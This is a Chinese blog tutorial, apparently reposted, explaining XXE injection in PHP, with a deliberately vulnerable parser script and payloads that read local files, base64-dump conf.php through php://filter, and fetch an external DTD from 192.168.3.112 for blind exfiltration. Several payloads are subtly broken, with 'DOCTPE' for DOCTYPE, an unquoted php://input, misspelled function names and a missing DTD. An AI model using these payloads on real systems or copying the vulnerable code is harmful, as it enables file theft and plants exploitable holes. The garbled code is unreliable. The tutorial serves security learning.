XXE漏洞介绍及利用

目录

 

XXE漏洞介绍

XXE漏洞

XML介绍及用途

XML语法规则

函数介绍

存在XXE漏洞代码

php中测试POC

有回显XXE漏洞利用

读取文档文件

读取php文件

无回显XXE漏洞利用

测试原理

请求XML

服务器dtd

使用wireshark抓取http查看信息

 

 


XXE漏洞介绍

XXE全称为XML External Entity Injection即XMl外部实体注入漏洞。

XXE漏洞

XXE漏洞触发点往往是可以上传xml文件的位置,没有对xml文件进行过滤,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害

XML介绍及用途

XMl被设计用来传输和存储数据。XML文档形成了一种树状结构,它从"根部"开始,然后扩展到"枝叶"。

XMl允许作者定义自己的标签和自己的文档结构。

XML语法规则

  • 所有XMl元素必须有一个闭合标签
  • XMl标签对大小写敏感
  • XMl必须正确嵌套
  • XML属性值必须加引号
  • 实体引用
  • 在XMl中,空格会被保留

函数介绍

file_get_cintent函数介绍

file_get_content()函数把整个文件读入一个字符串中。

php://inpput介绍

php://input是个可以访问请求的原始数据的只读流。

结合file_get_contents(php://input)可以读取POST提交的数据

simplexml_load_string函数介绍

php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement

XML注入回显输出函数

在php中可以使用 print_r(),echo输出想要输出的内容

存在XXE漏洞代码

<?php

$xml= file_get_contents(php://input);

$data = simplexml_load_string($xml);

echo"<pre>";

print_r($data);//注释掉该语句即为无回显的情况

?>

php中测试POC

file:///path/file.txt

http://url/file.ext

php://filter/read=convert.base64-encode/resource=conf.php

有回显XXE漏洞利用

读取文档文件

<?xml version="1.0" encoding="utf-8"?>

<!DOCTPE  ANY[

<!ENTITY xxe SYSTEM "file:///c:/post.txt">]>

<name>&xxe;</name>

读取php文件

<?xml version="1.0" encoding="utf-8"?>

<!DOCTPE  ANY[

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=conf.php">]>

<name>&xxe;</name>

无回显XXE漏洞利用

测试原理

请求XML

<?xml version="1.0" encoding="utf-8"?>

<DOCTPE   foo SYSTEM "http://192.168.3.112/test.dtd">

<foo>&e1;</foo>

服务器dtd

使用gedit将test.dtd中内容设置为下图的文件内容

使用wireshark抓取http查看信息

 

 

猜你喜欢

转载自blog.csdn.net/smli_ng/article/details/106688343